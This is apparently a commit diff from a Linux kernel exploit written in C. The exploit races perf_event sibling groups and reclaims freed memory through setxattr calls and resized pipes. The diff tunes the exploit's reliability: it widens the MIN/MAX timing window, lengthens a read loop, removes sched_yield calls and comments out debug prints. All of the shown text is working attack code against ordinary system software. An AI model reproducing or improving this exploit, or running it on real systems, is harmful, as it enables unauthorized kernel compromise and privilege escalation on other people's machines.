29
29
#include <signal.h>
30
30
31
31
// #define TIMER 71000
32
- #define MIN 60000
33
- #define MAX 71000
32
+ #define MIN 58000
33
+ #define MAX 79000
34
34
#define SIBLINGS_MAX 1024 // about 0x4000 ~
35
35
#define CPU_A 1 // main cpu
36
36
#define CPU_B 0
@@ -305,7 +305,7 @@ void race(int group_leader) { // caller must have ownership of the group
305
305
if (child_pid == 0 ) { // child read
306
306
_pin_to_cpu (CPU_A );
307
307
sched_yield ();
308
- DEBUG_PRINT ();
308
+ // DEBUG_PRINT();
309
309
raise (SIGSTOP ); // stop - keep same generation
310
310
for (int i = 0 ; i < 512 + 511 ; i ++ ){
311
311
ioctl (siblings [i ], PERF_EVENT_IOC_RESET , PERF_IOC_FLAG_GROUP );
@@ -329,10 +329,9 @@ void race(int group_leader) { // caller must have ownership of the group
329
329
write (pipefd [1 ], buffer , 1 ); // sync point A
330
330
remove_xattr ("security.x12296_10" , 1 );
331
331
// x10 reclaimed by CPU_B is now released on CPU_A
332
- for (int _ = 0 ; _ < 32 ; _ ++ ) {
332
+ for (int _ = 0 ; _ < 48 ; _ ++ ) {
333
333
read (group_leader , buf , sizeof (buf ));
334
334
}
335
- sched_yield ();
336
335
remove_xattr ("security.ssiphim" , 1 );
337
336
if (setxattr ("/tmp/x1" , "security.x12296_10" , buf , 0x3008 , 0 ) < 0 ) {
338
337
perror ("reclaim failed" );
@@ -347,7 +346,7 @@ void race(int group_leader) { // caller must have ownership of the group
347
346
exit (0 );
348
347
}
349
348
else if (child_pid > 0 ) { // parent
350
- DEBUG_PRINT ();
349
+ // DEBUG_PRINT();
351
350
struct perf_event_attr pe ;
352
351
memset (& pe , 0 , sizeof (pe ));
353
352
pe .type = PERF_TYPE_SOFTWARE ;
@@ -476,7 +475,6 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
476
475
// this reclaim process must be atomic
477
476
remove_xattr ("security.x12296_11" , 1 );
478
477
resize_pipe (vuln_pipe [1 ], 0x1000 * 220 );
479
- sched_yield ();
480
478
remove_xattr ("security.x12296_10" , 1 );
481
479
remove_xattr ("security.x12296_7" , 1 );
482
480
if (setxattr ("/tmp/x1" , "security.x12296_10" , buf , 0x3008 , 0 ) < 0 ) {
0 commit comments